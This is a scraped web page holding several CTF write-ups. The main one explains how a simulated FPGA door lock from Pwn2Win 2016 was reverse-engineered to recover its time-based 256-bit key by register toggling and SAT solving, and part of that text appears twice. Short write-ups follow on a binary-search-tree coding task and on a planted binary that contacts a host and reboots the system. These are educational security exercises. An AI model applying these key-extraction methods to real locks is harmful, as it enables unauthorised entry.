registers</th></tr></thead><tbody><tr><td>1'b1</td><td>1762</td></tr><tr><td>n1</td><td>50</td></tr><tr><td>n145</td><td>10</td></tr><tr><td>n2</td><td>48</td></tr><tr><td>n4</td><td>256</td></tr><tr><td>n4357</td><td>1 (pin_B4)</td></tr><tr><td>n4457</td><td>1 (n4456)</td></tr><tr><td>n6</td><td>256</td></tr></tbody></table>Taking into account the behavior observed for the enable signals in the simulation waveforms and the fact that the size of the key is 256 bits, the table above provides evidence that:Registers enabled by signal n6 probably hold the key typed in the keypad, as this signal is activated on each keystroke.Registers enabled by signal n4 might hold the correct key, as they only change (and rapidly stabilize) immediately before the door opens.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Locating keypad registers</h3>Although at this point we have evidence that registers enabled by n6 hold the key typed in the keypad, important issues remain:The key might have suffered some transformation before being stored in the registers. We still cannot be sure that the key is stored exactly as typed.Even if the key is stored exactly as typed, simply knowing which are the members of the unordered set of 256 registers does not help much, since they can be ordered in any of 256! possible permutations.If the key is transformed at most in a linear way after typed, it should be possible to activate each bit of the key at a time and afterwards study the change it causes in registers.Typing the command below will employ this approach to map which registers become high when each bit of the key is set to high.make -j8 keypad_regs.hLooking at the results, we can conclude that:The key is stored exactly as typed. Each bit of the key is tied to a single register enabled by n6 and vice-versa.The 4 least significant bits of the key affect, besides their respective n6-enabled register, also a single register enabled by 1'b1. These probably form a buffer which stores the last typed hexadecimal digit, but this hypothesis is not needed to solve the challenge.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Analyzing registers affected by NMEA input</h3>If the correct key is computed as a cryptographically-secure hash from the current date and time provided by NMEA, we expect that after each minute, a 50% probability exists of each bit of the key being flipped.This fact can be exploited to gain more confidence that registers enabled by n4 hold the correct key. Below, we simulate the circuit receiving some random initial date and time, take a snapshot of the register values, then simulate again 11 times, each one incrementing the time by one minute. Finally, we plot how many registers flipped at least once across the snapshots taken after each simulation.Above we observe that, given enough time, every register enabled by n4 will eventually have changed at least once. As we know the size of the key is 256 bits, then the registers enabled by n4 are rather suspicious of holding the correct key.Besides registers enabled by n4, the only others affected by a change in date and time (when other inputs are fixed) are a subset of the registers enabled by 1'b1 (above). Going further, although not required to solve the challenge, we can hypothesize that they hold the hash algorithm's internal state. Looking at the size of this internal state, if we knew the circuit implements a NIST-approved hash algorithm, we could even deduce it was SHA-3. ;)<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Reproducing the plots</h3>If you intend to plot the figures above, first install the following scientific libraries for Python 3:sudo apt-get install python3-matplotlib python3-scipy python3-pipsudo -H python3 -m pip install lmfitThen run the corresponding Makefile target for each figure.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Obtaining the key</h3>Now that we got an overview of the circuit's behavior, we shall present two different ways to solve the challenge.<h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>The Trickster's Way</h4>If we assume the correct key is stored in the unordered set of registers enabled by n4, the same issues we encountered when locating keypad registers arise again. The key bits might be ordered in any of the 256! possible permutations. Brute-forcing the correct order is computationally infeasible. Therefore, we need to find an efficient way to sort the key bits.First, we put the circuit into a state in which the door is open, by providing as inputs to the simulation the sample key given in the problem's statement, and a NMEA sentence containing the corresponding date/time during which that key is valid.Then, we toggle one of the registers enabled by n4. This causes the door to close. After that, we try to open the door again by toggling each of the keypad bits. When the door opens, it means we have found to which bit of the key that register is related. We repeat this procedure for each of the registers enabled by n4.This algorithm is very efficient because, at each of the 256² required iterations, we only need to simulate the circuit for a single clock cycle, since the location of the registers holding keypad bits is already known.Once the key registers are sorted in the correct order, we can simulate the circuit providing any NMEA sentence and afterwards extract the key from these registers.The tool which implements this method can be compiled by typing:make extract_hashThe tool may be called passing as arguments any time and date in the HHMM ddmmyy format:$ ./extract_hash 1100 01041501cd9de119e1231e29b0972a618da6c79fc1f3bd96cee86c93a8068bdc5e4c59If no arguments are provided, the tool prints the correct key for the current minute (in UTC).<h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>The Mathematician's Way</h4>Although the method we just explained is very efficient and relatively easy to implement, it is not general, and would not work:If no sample key was provided in the problem's statement.If the registers holding the correct key did not held it exactly as expected to be typed by the user, e.g. if the hash suffered some final transformation before being compared to keypad bits.A more general approach is to remember that the problem of finding a set of inputs such that the output of an arbitrary digital circuit goes to logical high is a boolean satisfiability problem.If we transform the problem to the conjunctive normal form, we can feed it to a SAT solver, which will hopefully find the answer in reasonable time (although there are no guarantees, of course, since SAT is a NP-complete problem).The Tseytin transformation can be employed to transform a digital circuit to the conjunctive normal form. The equivalent circuits generated by IceStorm only use the following Verilog operations:<table><thead><tr><th>Operation</th><th>Tseytin transformation</th></tr></thead><tbody><tr><td>c = a & b</td><td>(¬a∨¬b∨c)∧(a∨¬c)∧(b∨¬c)</td></tr><tr><td>c = a ⎮ b</td><td>(a∨b∨¬c)∧(¬a∨c)∧(¬b∨c)</td></tr><tr><td>d = a ? b : c</td><td>(a∨c∨¬d)∧(¬a∨b∨¬d)∧(b∨c∨¬d)∧(¬a∨¬b∨d)∧(a∨¬c∨d)</td></tr></tbody></table>The solve_circuit.py tool takes:The assignments contained in the Verilog RTL file generated by IceStorm.A problem specification containing:constraints, e.g. the door must be open;known values for some identifiers;identifiers whose value we are seeking for (the <em>incognita</em>).It parses the assignments using a simple Grako grammar, applies the Tseytin transformations presented above, and calls MiniSat to solve for the value of the <em>incognita</em>.The problem specification is generated by the solve_hash tool, which simulates the circuit given some NMEA input, lists the keypad registers as <em>incognita</em>, and dumps a snapshot of every other register. The solve_circuit.py tool is automatically called by solve_hash.To run these tools, first install the following additional prerequisites:sudo apt-add-repository ppa:pypy/ppa && sudo apt-get updatesudo apt-get install pypywget https://bootstrap.pypa.io/get-pip.py && sudo -H pypy get-pip.pysudo -H pypy -m pip install grakosudo apt-get install minisatThen compile the tool:make solve_hashThe command line arguments accepted by solve_hash are exactly the same as the ones accepted by extract_hash:$ ./solve_hash 1100 010415WARNING: for repeatability, setting FPU to use double precision============================[ Problem Statistics ]=============================| || Number of variables: 12760 || Number of clauses: 10543 || Parse time: 0.00 s || Simplification time: 0.00 s || |============================[ Search Statistics ]==============================| Conflicts | ORIGINAL | LEARNT | Progress || | Vars Clauses Literals | Limit Clauses Lit/Cl | |==============================================================================================================================================================restarts : 1conflicts : 0 (0 /sec)decisions : 1 (0.00 % random) (250 /sec)propagations : 12760 (3190000 /sec)conflict literals : 0 (-nan % deleted)Memory used : 24.00 MBCPU time : 0.004 s
Category: ReversePoints: 600Solves: 0Description:
In order to protect their maximum security facilities, the Club employsan electronic security lock activated by a 256-bit key which changes everyminute. When a Club member is authorized to enter some of these facilities,he receives this key in hexadecimal format, the same format which is used toenter the key in the electronic lock’s keyboard. The last year (in 2015),Project SKY intercepted a key valid for April 1st at 11:00 UTC:01cd9de119e1231e29b0972a618da6c79fc1f3bd96cee86c93a8068bdc5e4c59,however we got access to this key only after it was already expired.It seems that these keys are the same for all facilities, independent fromtheir geographical location, that is, they vary only with time. This year,our truck driver Alisson, undercover in the Club’s fleet, was able tointercept the shipment of one of these locks to a warehouse which iscurrently under construction. Quickly, he drafted a block diagram ofthe lock’s circuit and generated a dump of the flash memory (N25Q032A),both contained in the file which we are providing to you. A few minutesafter sending this information through 3G using his Samsung Note Edge™smartphone, Alisson suffered a tragic transit accident, which meansthe Club has probably discovered our plans, so that we have only 48h beforethey change all of their electronic lock scheme. Our teams are ready todeploy next to 3 facilities of critical importance to the Club. They onlyneed that you send a key valid for the current minute to the addresshttps://door.pwn2win.party/KEY.
Some tools and libraries must be installed in order to run this write-up.
We have chosen the iCE40HX8K-CT256 chip to implement this challenge because mature and modern reverse engineering tools are available for it.
The iceunpack and icebox_vlog.py tools from IceStorm are able to transform the FPGA bitfile into an equivalent circuit in Verilog RTL.
This write-up provides a Makefile target to run these tools. Just type:
First, the competitor was expected to set up a working simulation of the FPGA circuit. We provided the sample key mainly to allow such a simulation to be more easily validated, as our circuit has no output pins for flagging errors such as malformed UART signals or NMEA sentences.
The circuit could be simulated with any Verilog simulator, in particular free-software ones, such as iverilog and verilator. However, iverilog is very slow for simulating such a large and complex (decomposed) circuit. A single simulation takes near 2 minutes to run on iverilog in modern hardware. On the other hand, verilator is pretty fast, and runs the same simulation in 3 seconds. Another advantage of verilator is that it allows every internal digital signal to be easily controlled by C++ code during the simulation.
In order to correctly control the input pins, the competitor must be able to compute the duration, in number of cycles, of each bit sent over UART (29.4912×10⁶ / 115200 = 256) and to correctly generate the 8N1 framing.
In this write-up, we simulate the circuit with verilator. A Makefile target is available for building the simulator executables. Compile the sim_input simulator by typing:
Pass the Keypad and GPS UART inputs as arguments to sim_input. It can also optionally receive a third argument to save a waveform dump to a file. At the end of simulation, it outputs lock: 1 if the door is open, or lock: 0 if it is closed.
The waveform dump can be opened with GTKWave.
By observing the waveform dump above, several interesting remarks can be made:
Signal n2 pulses 10 times. If we observe the pulse position relative to the NMEA UART signal (pin_E6), we discover that the first 4 pulses occur at the stop bit of each character pertaining to the current time (hour and minute) in a $GPRMC sentence. Similarly, the last 6 pulses occur at the stop bit of each character belonging to the current date (day, month and year).
Signal n6 pulses 64 times. Each pulse occurs at the stop bit of a hexadecimal digit character received from the keypad (pin_G13).
Most signals (n8–n14, n17, n19–n23, n26, and several others if we scroll down) only present activity (toggling) during a short period of time after both UARTs have finished receiving their data. Therefore these signals are probably related to key calculation.
By zooming around the time when the door opens (pin_B4 becomes high), we can make additional remarks:
Signal n4 only becomes high for 4 cycles, just before the door opens.
Even more evidence shows that n8–n14 and others are related to key calculation, as their toggle rate is quite high (near clock speed), and all activity ceases just before the circuit decides to open the door.
By typing:
Our Makefile runs a very simple parser which gathers a list of all the registers present in the chip.v file and their enable signals. The script also prints the table below.
Taking into account the behavior observed for the enable signals in the simulation waveforms and the fact that the size of the key is 256 bits, the table above provides evidence that:
Registers enabled by signal n6 probably hold the key typed in the keypad, as this signal is activated on each keystroke.
Registers enabled by signal n4 might hold the correct key, as they only change (and rapidly stabilize) immediately before the door opens.
Although at this point we have evidence that registers enabled by n6 hold the key typed in the keypad, important issues remain:
The key might have suffered some transformation before being stored in the registers. We still cannot be sure that the key is stored exactly as typed.
Even if the key is stored exactly as typed, simply knowing which are the members of the unordered set of 256 registers does not help much, since they can be ordered in any of 256! possible permutations.
If the key is transformed at most in a linear way after typed, it should be possible to activate each bit of the key at a time and afterwards study the change it causes in registers.
Typing the command below will employ this approach to map which registers become high when each bit of the key is set to high.
Looking at the results, we can conclude that:
The key is stored exactly as typed. Each bit of the key is tied to a single register enabled by n6 and vice-versa.
The 4 least significant bits of the key affect, besides their respective n6-enabled register, also a single register enabled by 1'b1. These probably form a buffer which stores the last typed hexadecimal digit, but this hypothesis is not needed to solve the challenge.
If the correct key is computed as a cryptographically-secure hash from the current date and time provided by NMEA, we expect that after each minute, a 50% probability exists of each bit of the key being flipped.
This fact can be exploited to gain more confidence that registers enabled by n4 hold the correct key. Below, we simulate the circuit receiving some random initial date and time, take a snapshot of the register values, then simulate again 11 times, each one incrementing the time by one minute. Finally, we plot how many registers flipped at least once across the snapshots taken after each simulation.
Above we observe that, given enough time, every register enabled by n4 will eventually have changed at least once. As we know the size of the key is 256 bits, then the registers enabled by n4 are rather suspicious of holding the correct key.
Besides registers enabled by n4, the only others affected by a change in date and time (when other inputs are fixed) are a subset of the registers enabled by 1'b1 (above). Going further, although not required to solve the challenge, we can hypothesize that they hold the hash algorithm's internal state. Looking at the size of this internal state, if we knew the circuit implements a NIST-approved hash algorithm, we could even deduce it was SHA-3. ;)
If you intend to plot the figures above, first install the following scientific libraries for Python 3:
Then run the corresponding Makefile target for each figure.
Now that we got an overview of the circuit's behavior, we shall present two different ways to solve the challenge.
If we assume the correct key is stored in the unordered set of registers enabled by n4, the same issues we encountered when locating keypad registers arise again. The key bits might be ordered in any of the 256! possible permutations. Brute-forcing the correct order is computationally infeasible. Therefore, we need to find an efficient way to sort the key bits.
First, we put the circuit into a state in which the door is open, by providing as inputs to the simulation the sample key given in the problem's statement, and a NMEA sentence containing the corresponding date/time during which that key is valid.
Then, we toggle one of the registers enabled by n4. This causes the door to close. After that, we try to open the door again by toggling each of the keypad bits. When the door opens, it means we have found to which bit of the key that register is related. We repeat this procedure for each of the registers enabled by n4.
This algorithm is very efficient because, at each of the 256² required iterations, we only need to simulate the circuit for a single clock cycle, since the location of the registers holding keypad bits is already known.
Once the key registers are sorted in the correct order, we can simulate the circuit providing any NMEA sentence and afterwards extract the key from these registers.
The tool which implements this method can be compiled by typing:
The tool may be called passing as arguments any time and date in the HHMM ddmmyy format:
If no arguments are provided, the tool prints the correct key for the current minute (in UTC).
Although the method we just explained is very efficient and relatively easy to implement, it is not general, and would not work:
If no sample key was provided in the problem's statement.
If the registers holding the correct key did not held it exactly as expected to be typed by the user, e.g. if the hash suffered some final transformation before being compared to keypad bits.
A more general approach is to remember that the problem of finding a set of inputs such that the output of an arbitrary digital circuit goes to logical high is a boolean satisfiability problem.
If we transform the problem to the conjunctive normal form, we can feed it to a SAT solver, which will hopefully find the answer in reasonable time (although there are no guarantees, of course, since SAT is a NP-complete problem).
The Tseytin transformation can be employed to transform a digital circuit to the conjunctive normal form. The equivalent circuits generated by IceStorm only use the following Verilog operations:
The solve_circuit.py tool takes:
The assignments contained in the Verilog RTL file generated by IceStorm.
A problem specification containing:
constraints, e.g. the door must be open;
known values for some identifiers;
identifiers whose value we are seeking for (the <em>incognita</em>).
It parses the assignments using a simple Grako grammar, applies the Tseytin transformations presented above, and calls MiniSat to solve for the value of the <em>incognita</em>.
The problem specification is generated by the solve_hash tool, which simulates the circuit given some NMEA input, lists the keypad registers as <em>incognita</em>, and dumps a snapshot of every other register. The solve_circuit.py tool is automatically called by solve_hash.
To run these tools, first install the following additional prerequisites:
Then compile the tool:
The command line arguments accepted by solve_hash are exactly the same as the ones accepted by extract_hash:
SATISFIABLE01cd9de119e1231e29b0972a618da6c79fc1f3bd96cee86c93a8068bdc5e4c59<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Other write-ups and resources</h2>Challenge source code</article> </div>
</div>
<details class="details-reset details-overlay details-overlay-dark"> <summary data-hotkey="l" aria-label="Jump to line"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast linejump" aria-label="Jump to line"> </option></form><form class="js-jump-to-line-form Box-body d-flex" action="" accept-charset="UTF-8" method="get"> <input class="form-control flex-auto mr-3 linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus> <button type="submit" class="btn" data-close-dialog>Go</button></form> </details-dialog> </details>
<div class="Popover anim-scale-in js-tagsearch-popover" hidden data-tagsearch-url="/epicleet/write-ups-2016/find-symbols" data-tagsearch-ref="pwn2win-ctf-2016" data-tagsearch-path="pwn2win-ctf-2016/reverse/timekeeperslock-600/README.md" data-tagsearch-lang="Markdown" data-hydro-click="{"event_type":"code_navigation.click_on_symbol","payload":{"action":"click_on_symbol","repository_id":54845624,"ref":"pwn2win-ctf-2016","language":"Markdown","originating_url":"https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/timekeeperslock-600/README.md","user_id":null}}" data-hydro-click-hmac="47856b81a91236401b8c4ffc03cba54e27e8de781545d534e33b28b436b72b92"> <div class="Popover-message Popover-message--large Popover-message--top-left TagsearchPopover mt-1 mb-4 mx-auto Box box-shadow-large"> <div class="TagsearchPopover-content js-tagsearch-popover-content overflow-auto" style="will-change:transform;"> </div> </div></div>
</div></div>
</main> </div>
</div>
<div class="footer container-lg width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> © 2020 GitHub, Inc. Terms Privacy Security Status Help
<svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> You can’t perform that action at this time. </div>
<script crossorigin="anonymous" async="async" integrity="sha512-WcQmT2vhcClFVOaaAJV/M+HqsJ2Gq/myvl6F3gCVBxykazXTs+i5fvxncSXwyG1CSfcrqmLFw/R/bmFYzprX2A==" type="application/javascript" id="js-conditional-compat" data-src="https://github.githubassets.com/assets/compat-bootstrap-59c4264f.js"></script> <script crossorigin="anonymous" integrity="sha512-6XBdUZGib4aqdruJTnLMOLpIh0VJsGlgQ7M3vndWJIH6YQNv+zqpo1TbCDzjHJ+YYEm4xkEinaY0VsemDUfi9A==" type="application/javascript" src="https://github.githubassets.com/assets/environment-bootstrap-e9705d51.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-EDN3kiqMVKpDXq6euD9tcIPeh3xqtWzCcm8mqqLAZOkXwdMo0hSA8Bfg0NqZ8c2n51yU4SlSal3hqgdrus+M2A==" type="application/javascript" src="https://github.githubassets.com/assets/vendor-10337792.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-CcKFBqQZKOCZU5otP6R8GH2k+iJ3zC9r2z2Iakfs/Bo9/ptHy6JIWQN3FPhVuS3CR+Q/CkEOSfg+WJfoq3YMxQ==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-09c28506.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-7Evx/cY3o6cyoeTQc+OX5n6X4k+wTJkQnAyjtmpge6F3Hgw511TPF+N0BFvn3IZLaQro6kyC/f0dqhklyssNow==" type="application/javascript" src="https://github.githubassets.com/assets/github-bootstrap-ec4bf1fd.js"></script> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div></div>
<div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div>
</body></html>
|
# Coding90
## Description```We are given an IP address and a port to connect to, upon connecting we are asked to invert the path of some levels.The summary tells us that we have to deal with inverted binary search trees```
## Solution
After many tries trying to understand what the heck was the output. It appeared that it was a pre-order list that enabled us to build the BST.From that I tried several ways to traverse the tree to find the one that the service was expected which is a depth traversal on the right.
I put together a python script that would get the list, build the BST and print the tree with the expected format and then sends it to the service. After the 50th question we get the flag
## Results```level: Level 50.: [266, 2, 140, 68, 83, 87, 88, 103, 92, 109, 252, 208, 199, 162, 159, 153, 171, 199, 200, 206, 247, 232, 211, 786, 585, 292, 283, 272, 406, 300, 395, 305, 367, 334, 405, 406, 531, 431, 413, 413, 416, 445, 444, 433, 445, 507, 452, 451, 454, 489, 483, 471, 462, 479, 506, 525, 521, 581, 573, 540, 575, 584, 643, 598, 592, 601, 610, 629, 716, 682, 681, 675, 649, 692, 692, 707, 779, 721, 726, 762, 736, 743, 774, 786, 814, 789, 812, 968, 964, 861, 851, 904, 900, 877, 962, 934, 923, 942, 989, 990][266, 2, 140, 68, 83, 87, 88, 103, 92, 109, 252, 208, 199, 162, 159, 153, 171, 199, 200, 206, 247, 232, 211, 786, 585, 292, 283, 272, 406, 300, 395, 305, 367, 334, 405, 406, 531, 431, 413, 413, 416, 445, 444, 433, 445, 507, 452, 451, 454, 489, 483, 471, 462, 479, 506, 525, 521, 581, 573, 540, 575, 584, 643, 598, 592, 601, 610, 629, 716, 682, 681, 675, 649, 692, 692, 707, 779, 721, 726, 762, 736, 743, 774, 786, 814, 789, 812, 968, 964, 861, 851, 904, 900, 877, 962, 934, 923, 942, 989, 990][*] sending [266, 786, 814, 968, 989, 990, 964, 861, 904, 962, 934, 942, 923, 900, 877, 851, 789, 812, 585, 643, 716, 779, 786, 721, 726, 762, 774, 736, 743, 682, 692, 707, 692, 681, 675, 649, 598, 601, 610, 629, 592, 292, 406, 531, 581, 584, 573, 575, 540, 431, 445, 507, 525, 521, 452, 454, 489, 506, 483, 471, 479, 462, 451, 444, 445, 433, 413, 416, 413, 300, 395, 405, 406, 305, 367, 334, 283, 272, 2, 140, 252, 208, 247, 232, 211, 199, 200, 206, 162, 171, 199, 159, 153, 68, 83, 87, 88, 103, 109, 92]reponse: Yay, that's right!
IW{10000101010101TR33}``` |
## Image Archeology (Admin, 350)
> We have found the file, which contains a part of gai. But where is it?> Hints> You don't need any special reverse skills to solve this. It will be enough to use strings> to reveal how the flag can be found.
In this task, we received an image of a small disk. After mounting it, we found an usual Unix folder (/bin and so on).Even without the hint, we searched for unusual things in it:```find . -type f -exec bash -c "strings {} | grep -E volga\|Volga && echo {}" \;hacker.volga.ctf./bin/busybox2hacker.volga.ctf./corestrings: ./usr/bin/sudo: Permission deniedstrings: ./usr/sbin/visudo: Permission denied```Well, it's unlikely that untampered system would have such strings, so we quickly looked into `busybox2` executable.When ran, it didn't do much - it returned into prompt immediately. However, after a couple of seconds, our system restarted... After a close look, we noticed the executable contained string `/sbin/reboot`. We patched it, so it will call`/bin/ls` instead (a crude patch, but it worked).
The code itself was not very hard - it was:- xoring stuff- taking two `rand()`s without any `srand()` before and interpreting the results as a date- sending something to `hacker.volga.ctf` (host unavailable)- forking, and rebooting in one child
Well, we did not waste our time reversing the code any further - we simply stepped through the code in debuggerand break when the connection was made to the aforementioned site. It turns out, that the flag was in memory at thattime. |